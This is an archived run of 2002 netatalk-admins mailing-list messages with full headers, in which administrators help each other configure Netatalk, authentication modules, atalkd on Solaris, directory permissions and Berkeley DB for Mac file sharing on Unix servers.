Subject: Re: logging in (slight return)
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 3:17 am -0800 15/2/02, Steve Freitas wrote:
>>  Someone else is recommending I SHOULD use --with-shadow.
>
>That is a redundant option in this case. During ./configure, Netatalk
>automatically looks for a PAM installation. PAM handles authenticating
>against shadow.
>
>Trust me on this -- I tested extensively with the developers when they were
>rewriting the configure script, and you actually need to specify very little
>in your case.


I wasn't doubting you, just explaining the source of some of my confusion.


>>  Er, what's lsof?
>
>I'll teach you to fish:
>
>[yadda@blah]$ man lsof


"No manual entry for lsof"

Trust ME on this one Steve, I wouldn't have asked without at least 
trying that. I've also done a find on the whole HD and there's no 
reference to this whatsoever. Maybe I missed something, but I tried 
the obvious that I could think of and came to the conclusion that 
it's not there.

BTW, I hate fishing:-)


>>  How do you choose which authentication scheme to use anyway?
>
>If I understand correctly, you set what UAMs are available for Netatalk's
>use in netatalk.conf. Then you can edit which ones are actually used in
>afpd.conf.


All the uam stuff in afpd.conf is commented out, yet it certainly 
uses the guest uam specified in netatalk.conf and I guess the 
cleartxt one too. So I still don't get the relationship between these 
instances.


>I don't mean to criticize, but I think you went overboard in trying to
>configure Netatalk before you even got it working. A simple ./configure,
>make, make install would've gotten you on your way, but you decided to go
>hog wild with the configure options, and that confused things for you.
>
>The rule is, when you're installing from source, first get it working in the
>simplest manner possible, and *then* tweak it to death.


I did, I used the mandrake rpm which got me up and running quite 
quickly. But, no SLP support which I wanted so I HAD to compile my 
own - no option. At this time I was instructed by others to pay 
attention to the configure options, rather surprised that so much 
configuration was required, but apparently it was necessary. It is my 
intention anyway to get acquainted with all the servers I am running, 
sufficiently well to compile them all myself. Hence my desire to 
learn about netatalk (and others).
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Fri Feb 15 11:21:44 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA21969
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 11:21:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA18585
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 11:21:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA18569
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 11:21:43 -0500 (EST)
Received: from welt.gekko.de (welt.gekko.de [195.37.190.38])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA18535
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 11:21:42 -0500 (EST)
Received: from consul.gekko.de (C325BE1F.pool.gekko.de [195.37.190.31])
	by welt.gekko.de (8.9.3+Sun/8.9.3) with ESMTP id RAA07105
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 17:25:27 +0100 (MET)
Message-Id: <5.1.0.14.2.20020215172016.00b24538@welt.gekko.de>
X-Sender: pop.andreas@welt.gekko.de
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Fri, 15 Feb 2002 17:23:28 +0100
To: netatalk-admins@umich.edu
From: Andreas =?iso-8859-1?Q?Westend=F6rpf?= <andreas@gekko.de>
Subject: Fwd: Re: atalkd under solaris 8
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

thx!
now atalkd starts up (without messages), but does'nt do anything at all.
after a while it stops an says:
"AppleTalk not up! Check your syslog for the reason. Child exited with 1."

again, any clues? how can i check if the driver has been correctly installed?

tia

andreas

> > yes, i did create a file in /usr/local/atalkd/etc/ called atalkd.conf
> > with the name of my ethernet-device in it (hme0). but still it doesn't
> > work. same effect when i remove the atalkd.conf file.
>
>in Version 1.5.1.1 the config files go into:
>
>         /usr/local/etc/netatalk
>
>If you get it working and you;re able to login via the Apple Desktop then
>you're one step ahead of me. I can get it installed and running but i am
>unable to login to the desktop, even thought I've compiled with shadow
>password enabled.
>
>What configure option to you use?
>
>Sim
>
>S.Barbaresi                                     E-mail 
>s.barbaresi@bangor.ac.uk
>Computing Centre, UWB                           Tel (44) (01)248 382403 (ddi)
>Sackville Road                                  Fax (44) (01)248 383826 (ddi)
>Bangor, Gwynedd LL57 1LD, UK




From netatalk.administrators-errors@umich.edu  Fri Feb 15 11:27:32 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA22312
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 11:27:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA20117
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 11:27:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA20102
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 11:27:31 -0500 (EST)
Received: from media.umbc.edu (media.umbc.edu [130.85.179.78])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA20076
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 11:27:30 -0500 (EST)
Received: (from ray@localhost)
	by media.umbc.edu (8.9.3/8.9.3/Debian 8.9.3-21) id LAA26000
	for netatalk-admins@umich.edu; Fri, 15 Feb 2002 11:27:30 -0500
From: Ray Shaw <ray@media.umbc.edu>
Date: Fri, 15 Feb 2002 11:27:30 -0500
To: netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] Re: Directories are created with...unexpected permissions
Message-ID: <20020215112730.F5038@media.umbc.edu>
References: <001401c1b62f$6c780e50$a50c10ac@millerpubgroup.com> <Pine.LNX.4.33.0202150847420.32271-100000@bocklabs.wisc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0202150847420.32271-100000@bocklabs.wisc.edu>; from dan@bocklabs.wisc.edu on Fri, Feb 15, 2002 at 08:49:24AM -0600

On Fri, Feb 15, 2002 at 08:49:24AM -0600, Daniel E. Lautenschleger wrote:
> I use 2770 on my directories (with SuSE 7.3) and files inherit the group
> perms but the original creator of the file is still the owner.

Yes, that's the way it should be, but

> On Fri, 15 Feb 2002, Stuart Haas wrote:
> 
> > OK,
> >
> > So I see that there are only two of us with this problem, but I was able to
> > duplicate this on an other machine, a standard Redhat 7.2 install with ext3
> > file systems.

Hmm.  I forgot to mention this in my original message, but I'm also
using ext3.  Since it should be the same as ext2 except for the
journaling, I don't think that this should be the problem, but
stranger things have happened.

Is anyone using 2770 directories successfully with ext3?  I don't
think it's distribution specific, since I'm using Debian potato and
Stuart Haas is using Red Hat 7.2.

(I'd try to test this myself by falling back to ext2, but I'm going to
be away from my server all weekend, starting...about now, really :)


-- 
--Ray

-----------------------------
Sotto la panca la capra crepa
sopra la panca la capra campa

From netatalk.administrators-errors@umich.edu  Fri Feb 15 11:31:47 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA22687
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 11:31:47 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1FGVlR03918
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 11:31:47 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1FGVld03909
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 11:31:47 -0500 (EST)
Received: from welt.gekko.de (welt.gekko.de [195.37.190.38])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1FGVkY03891
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 11:31:46 -0500 (EST)
Received: from consul.gekko.de (C325BE1F.pool.gekko.de [195.37.190.31])
	by welt.gekko.de (8.9.3+Sun/8.9.3) with ESMTP id RAA07183
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 17:32:24 +0100 (MET)
Message-Id: <5.1.0.14.2.20020215172924.00b8c918@welt.gekko.de>
X-Sender: pop.andreas@welt.gekko.de
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Fri, 15 Feb 2002 17:30:26 +0100
To: netatalk-admins@umich.edu
From: Andreas =?iso-8859-1?Q?Westend=F6rpf?= <andreas@gekko.de>
Subject: Fwd: Re: Fwd: Re: atalkd under solaris 8
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA22687

thx again!

my output is:

$ modinfo | grep ddp
106 10292e78   3c05 199   1  ddp (DDP Streams device)
106 10292e78   3c05  22   1  ddp (DDP Streams module)

looks good, doesn't it.

>Date: Fri, 15 Feb 2002 16:24:59 +0000 (GMT)
>From: "S.Barbaresi" <iss033@bangor.ac.uk>
>X-Sender:  <iss033@publix>
>To: Andreas Westendörpf <andreas@gekko.de>
>Subject: Re: Fwd: Re: atalkd under solaris 8
>
> > again, any clues? how can i check if the driver has been correctly 
> installed?
>
>use:
>
>         modinfo | grep ddp
>  96 1031eba2   4fc9 169   1  ddp (DDP Streams device)
>  96 1031eba2   4fc9  19   1  ddp (DDP Streams module)
>
>Sim
>
>S.Barbaresi                                     E-mail 
>s.barbaresi@bangor.ac.uk
>Computing Centre, UWB                           Tel (44) (01)248 382403 (ddi)
>Sackville Road                                  Fax (44) (01)248 383826 (ddi)
>Bangor, Gwynedd LL57 1LD, UK




From netatalk.administrators-errors@umich.edu  Fri Feb 15 11:39:12 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA23025
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 11:39:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA15504
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 11:39:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA15492
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 11:39:12 -0500 (EST)
Received: from austin-jump.vircio.com (MailHost.virCIO.Com [192.12.3.107])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA15458
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 11:39:10 -0500 (EST)
Received: (qmail 7064 invoked by uid 104); 15 Feb 2002 16:38:55 -0000
Received: from cwg-dated-54b9b9a8f52338c7@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.20/v4127. . Clean. Processed in 0.103515 secs); 15/02/2002 10:38:55
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-54b9b9a8f52338c7@deepeddy.com>)
          by kidgalahad.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 15 Feb 2002 16:38:55 -0000
Received: (qmail 28801 invoked by alias); 15 Feb 2002 16:38:54 -0000
From: "Chris Garrigues" <cwg-dated-54b9b9a8f52338c7@deepeddy.com>
Received: (qmail 28656 invoked from network); 15 Feb 2002 16:38:51 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <keng@BTInternet.com@fixme>; 15 Feb 2002 16:38:51 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: Ken Gillett <keng@BTInternet.com>
Cc: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: AppleDouble & apache 
In-Reply-To: <p05100305b892d686059f@[10.0.1.10]> 
References: <p05100305b892d686059f@[10.0.1.10]>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_1344982474P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Fri, 15 Feb 2002 10:38:51 -0600
Message-ID: <28649.1013791131@deepeddy.com>
Mail-Reply-To: cwg-dated-54b9b9a8f52338c7@DeepEddy.Com

--==_Exmh_1344982474P
Content-Type: text/plain; charset=us-ascii

> From:  Ken Gillett <keng@BTInternet.com>
> Date:  Fri, 15 Feb 2002 15:24:27 +0000
>
> I have a shared folder that I want to specify as containing 
> configuration files to be included as part of apache's configuration. 
> The trouble is that apache parses the .AppleDouble folder and 
> everything in it and none of it makes any sense in terms of apache, 
> so understandably it fails to start. I have found that if I ensure it 
> is empty and not writable by the user who has it mounted (so nothing 
> can be saved in there) then apache is happy with that empty folder.
> 
> But, I cannot edit these files on the Mac side (the whole point of 
> mounting it) since BBEdit HAS to save stuff in the .AppleDouble 
> folder (which it cannot do) so the save fails.
> 
> Of course it only applies to this folder which is specified as 
> 'Include'd in httpd.conf.
> 
> Can anyone suggest a way to allow resource data to be saved, yet 
> preventing apache from trying to read it as configuration data on 
> startup?

I haven't tried this, but what if you create a symbolic link from the apache 
config directory to a copy which is in an area mounted from the Mac.  
That way all apache would see is the link.  I assume apache would follow the 
link.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
716 Congress, Suite 200
Austin, TX  78701		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_1344982474P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE8bTmbK9b4h5R0IUIRAjmIAJ0W2x0N1l1d0ZUac543JvrGmpfPQQCdGtKI
LjV9MlFNbY+Q+VTBUNJxiZs=
=wr8x
-----END PGP SIGNATURE-----

--==_Exmh_1344982474P--

From netatalk.administrators-errors@umich.edu  Fri Feb 15 14:16:09 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA01690
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 14:16:08 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA27284
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 14:16:08 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA27251
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 14:16:07 -0500 (EST)
Received: from zul.wakawaka.com (zul.wakawaka.com [205.219.70.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA27204
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 14:16:05 -0500 (EST)
Received: from bugs.wakawaka.com (bugs.wakawaka.com [192.148.188.8])
	by zul.wakawaka.com (8.8.8/8.8.5) with ESMTP id LAA13312;
	Fri, 15 Feb 2002 11:16:03 -0800 (PST)
Received: (from paul@localhost)
	by bugs.wakawaka.com (8.8.8/8.8.5) id KAA22701;
	Fri, 15 Feb 2002 10:29:48 -0800 (PST)
Message-Id: <200202151829.KAA22701@bugs.wakawaka.com>
From: paul@wakawaka.com (Paul Sander)
Date: Fri, 15 Feb 2002 10:29:47 -0800
In-Reply-To: <v03102802b8928d61bf25@[172.20.192.150]>
X-Mailer: Mail User's Shell (7.2.6 beta(4)+dynamic 03/19/98)
To: shobson-lists@colony.com, paul@wakawaka.com, sth@hbconcoctions.com,
        netatalk-admins@umich.edu
Subject: Re: Backing up a Netatalk share.

I was under the impression that the idea was to use Retrospect to create
backups via FTP to some server, then log in to the server to initiate
a backup of the Retrospect archives to tape.  If that is indeed the case,
then using Secure Shell for the second half is very doable and utilities
such as sudo and op suddenly have value.

This overall process can then be initiated and controlled from the client
machines.

>--- Forwarded mail from shobson-lists@colony.com

>Paul Sander wrote:

>>Rather than log in as "root" on the Netatalk machine, why not log in as
>>an ordinary user, and grant super-user access to specific tasks for which
>>it's absolutely necessary?  There are a number tools that provide this
>>capability, "sudo" being one of the more popular.  I use "op" with much
>>success.

>sth@hbconcoctions.com wrote :

>>2) Scripted, tightly-restricted SSH control of the process
>>
>>I won't detail this here, since it's a fairly (*ahem*) information-rich
>>topic (read: difficult to explain with any brevity), but you could script
>>an SSH client on the Retrospect machine (running MacOS? AppleScript should
>>be able to handle this) to use "single-purpose keys" -- keys that can only
>>do one thing once logged in -- to login as 'root' to the Netatalk machine
>>and coordinate the process.

>The problem with both of these ideas is that Retrospect does NOT 'log in'
>to the server using anything other than AFP. I don't think it even supports
>'non-standard' UAMs (I certainly found that it won't use the Microsoft UAM
>to access an NT server).

>Ie it :

>* Makes an AFP connection to the server (over IP or AppleTalk as appropriate).

>* Copies whatever files are required to be copied according to the rules of
>the script it is executing, and the access priviledges it has.

>* Closes the connection.

>As far as I know, there is NO method whereby you can insert some extra
>layer in between.

>--- End of forwarded message from shobson-lists@colony.com


From netatalk.administrators-errors@umich.edu  Fri Feb 15 15:10:27 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA04962
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 15:10:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA10355
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 15:10:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA10347
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 15:10:27 -0500 (EST)
Received: from mail1.vcu.edu (mail1.vcu.edu [128.172.1.134])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA10170
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 15:10:17 -0500 (EST)
Received: from [128.172.20.37] ([128.172.20.37])
	by mail1.vcu.edu (8.12.0/8.11.1) with ESMTP id g1FKA8I3236776;
	Fri, 15 Feb 2002 15:10:09 -0500
Mime-Version: 1.0
X-Sender: rethiema@mail1.vcu.edu (Unverified)
Message-Id: <p05100301b8931b13acfa@[128.172.20.37]>
In-Reply-To: <200202151829.KAA22701@bugs.wakawaka.com>
References: <200202151829.KAA22701@bugs.wakawaka.com>
Date: Fri, 15 Feb 2002 15:10:07 -0500
To: paul@wakawaka.com (Paul Sander), shobson-lists@colony.com,
        sth@hbconcoctions.com, netatalk-admins@umich.edu
From: Robert Thiemann <rethiema@vcu.edu>
Subject: Re: Backing up a Netatalk share.
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 10:29 AM -0800 2/15/02, Paul Sander wrote:
>I was under the impression that the idea was to use Retrospect to create
>backups via FTP to some server, then log in to the server to initiate
>a backup of the Retrospect archives to tape.  If that is indeed the case,
>then using Secure Shell for the second half is very doable and utilities
>such as sudo and op suddenly have value.

No, the idea was to back up the AppleTalk shares via Retrospect (on a 
separate machine, obviously) to tape.

The server I need to back up is my production server. We have a 10 
tape autoloader that is used to back up via Retropsect. Im migrating 
from NT4, where I just mounted the shares, used NT's ACLs to give the 
Backup Operate full control of the shares being backed up.

We're an almost complete Mac-shop except for the server and two PCs. 
I need to make sure the Resource info doesn't get munged.

-- 
Robert Thiemann
Network Engineer
VCU Adcenter
rethiema@vcu.edu

From netatalk.administrators-errors@umich.edu  Fri Feb 15 15:11:28 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA05281
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 15:11:28 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA02825
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 15:11:28 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA02811
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 15:11:27 -0500 (EST)
Received: from mailgate.ci.tacoma.wa.us (mailgate.ci.tacoma.wa.us [131.191.254.40])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA02654
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 15:11:22 -0500 (EST)
From: CSBURRIS@ci.tacoma.wa.us
Received: from m3.ci.tacoma.wa.us (m3.ci.tacoma.wa.us [131.191.130.35])
	by mailgate.ci.tacoma.wa.us (8.8.8/8.8.8) with ESMTP id MAA25182;
	Fri, 15 Feb 2002 12:11:08 -0800 (PST)
Received: by m3.ci.tacoma.wa.us with Internet Mail Service (5.5.2653.19)
	id <10CF6BY9>; Fri, 15 Feb 2002 12:11:07 -0800
Message-ID: <49A5DC0AF7A9D3119C7D00A0C9E3064503250ABD@m4.ci.tacoma.wa.us>
To: drechsel@verkehrsplanung.com
Cc: netatalk-admins@umich.edu
Subject: RE: netatalk bi-directional?
Date: Fri, 15 Feb 2002 12:11:06 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA05281

As a long-time Samba Admin, I can tell you that Samba is 95% server 5%
client. You have to use kludges like  smbclient. However the Linux
distribution ( I am a Solaris SysAdmin) has an smbfs filesystem that does
what you are talking about.  My guess would be that you want an afpfs file
system.

MacOS X can act as a NFS server, and that might get you to where you want to
be.

> ----------
> From: 	Wolf Drechsel
> Sent: 	Friday, February 15, 2002 12:14 AM
> To: 	netatalk-admins@umich.edu
> Subject: 	netatalk bi-directional?
> 
> Hello friends,
> 
> will there be a "bi-directional" netatalk some day? - The samba thing 
> can (as far as I know) work as a server as well as a client. I'd love 
> a Apple talk client for linux to do backups with little system load 
> on the mac.
> 
> Is it so difficult to implement "the other direction", when You once 
> have figured out how the apple talk protocol works? -
> 
> I've tried the afpd (or so) package - but its true, what the 
> maintainer writes: "Be afraid. Be VERY afraid".
> 
> Greetings
> 
> WD
> -- 
> ************************************************************
> # Gesellschaft für fahrgastorientierte Verkehrsplanung b.R.
> # Köhnstr. 54   D-90478 Nürnberg
> #
> # Telephon: 0911/4 71 98 49
> # Telefax: 0911/47 39 36
> #
> # drechsel@verkehrsplanung.com
> # www.verkehrsplanung.com
> #************************************************************
> 
> 

From netatalk.administrators-errors@umich.edu  Fri Feb 15 15:12:13 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA05341
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 15:12:13 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1FKCDE13390
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 15:12:13 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1FKCCA13385
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 15:12:12 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1FKCBY13372
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 15:12:11 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1FKBXi26767;
	Fri, 15 Feb 2002 12:11:33 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 15 Feb 2002 12:11:06 -0800
Subject: Re: logging in (slight return)
From: Steve Freitas <sflist@ihonk.com>
To: Ken Gillett <keng@btinternet.com>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B892AB5A.B33F%sflist@ihonk.com>
In-Reply-To: <p05100304b892d1d5eb4d@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> "No manual entry for lsof"
> 
> Trust ME on this one Steve, I wouldn't have asked without at least
> trying that. I've also done a find on the whole HD and there's no
> reference to this whatsoever. Maybe I missed something, but I tried
> the obvious that I could think of and came to the conclusion that
> it's not there.
> 
> BTW, I hate fishing:-)

Ahh. If you don't have lsof installed on your system, I understand why you
wouldn't have a man page for it. But you didn't mention that, so I'd assumed
your lsof package was just put together by a lamer. :-)

lsof: "List Open Files." It lists any open files, sockets, etc., by
processes. Enormously handy. When your server's been up for six months and
all of a sudden starts behaving utterly bizzarely, and you don't want to
surrender and reboot, lsof can tell you that one of your Apache modules has
gotten sloppy and isn't closing files, and it's run you clean out of file
descriptors. True story -- Unix doesn't like that.

You should have it on every *nix box you run. In this case, it can tell you
which UAMs afpd has open.

>>> How do you choose which authentication scheme to use anyway?
>> 
>> If I understand correctly, you set what UAMs are available for Netatalk's
>> use in netatalk.conf. Then you can edit which ones are actually used in
>> afpd.conf.
> 
> 
> All the uam stuff in afpd.conf is commented out, yet it certainly
> uses the guest uam specified in netatalk.conf and I guess the
> cleartxt one too. So I still don't get the relationship between these
> instances.

I'm a bit fuzzy on the relationship myself. I just use Netatalk in its
default config, with the exception that I comment the guest UAM line in
netatalk.conf so guest logins are off. Is your line commented?

For authentication, DHX is the default, but Netatalk also defaults to fall
back to cleartext for a client that doesn't support DHX.

Steve


From netatalk.administrators-errors@umich.edu  Fri Feb 15 15:13:32 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA05489
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 15:13:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA06139
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 15:13:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA06122
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 15:13:32 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA06090
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 15:13:31 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1FKDPi26771;
	Fri, 15 Feb 2002 12:13:26 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 15 Feb 2002 12:12:59 -0800
Subject: Re: DB3
From: Steve Freitas <sflist@ihonk.com>
To: Charles Mangin <charles@burneydesign.com>, <netatalk-admins@umich.edu>
Message-ID: <B892ABCB.B340%sflist@ihonk.com>
In-Reply-To: <f05100313b892c26d846b@[192.168.42.39]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

You must be running 3.3.11, no exceptions. Get it here:

http://www.sleepycat.com/update/3.3.11/db-3.3.11.tar.gz

Just ./configure, make, make install. That should put it in /usr/local, I
believe. Then add the following line to /etc/ld.so.conf:

/usr/local/BerkeleyDB.3.3/lib

Then run:

[yadda@blah]$ ldconfig

If you want to verify that the library loader has found the db3 libs, do:

[yadda@blah]$ ldconfig -p | grep Berkeley

You should see three of the libraries listed in the proper directory.

Now you're ready to recompile Netatalk with it pointed to the new DB3
installation.

Steve

> From: Charles Mangin <charles@burneydesign.com>
